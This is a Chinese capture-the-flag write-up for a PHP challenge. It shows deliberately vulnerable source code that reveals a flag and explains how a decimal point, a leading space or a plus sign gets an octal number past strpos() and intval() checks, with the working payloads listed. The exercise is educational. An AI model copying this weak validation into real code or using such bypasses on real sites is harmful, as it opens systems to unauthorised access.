ApachePHP/5.4.45strpos()

0x01 源码

  1. <?php
  2. include("flag.php");
  3. highlight_file(__FILE__);
  4. if(isset($_GET['num'])){
  5. $num = $_GET['num'];
  6. if($num==="4476"){
  7. die("no no no!");
  8. }
  9. if(preg_match("/[a-z]/i", $num)){
  10. die("no no no!");
  11. }
  12. if(!strpos($num, "0")){
  13. die("no no no!");
  14. }
  15. if(intval($num,0)===4476){
  16. echo $flag;
  17. }
  18. }

在Web93的基础上,屏蔽了开头为0的数字,因此不能使用进制转换来绕过,但是可以使用小数点操作。
传入num=’4476.0’,strpos(“4476.0”,”0”)返回int:5,前面加上!则if接收到的是boolean:false。
或者在使用八进制时,在前面加个空格,这样strpos()会返回1。
还可以在前面加上%20空格,从而绕过strpos的检测

0x02 Payload

  1. ?num=4476.0
  2. ?num= 010574
  3. ?num=+010574
  4. ?num=%20010574

0x03 PHP函数

1. strpos

strpos — 查找字符串首次出现的位置

  1. strpos ( string $haystack , mixed $needle [, int $offset = 0 ] ) : int

返回 needle 在 haystack 中首次出现的数字位置。

参数

haystack
在该字符串中进行查找。
needle
如果 needle 不是一个字符串,那么它将被转换为整型并被视为字符的顺序值。
offset
如果提供了此参数,搜索会从字符串该字符数的起始位置开始统计。 如果是负数,搜索会从字符串结尾指定字符数开始。

返回值

返回 needle 存在于 haystack 字符串起始的位置(独立于 offset)。同时注意字符串位置是从0开始,而不是从1开始的。
如果没找到 needle,将返回 **FALSE**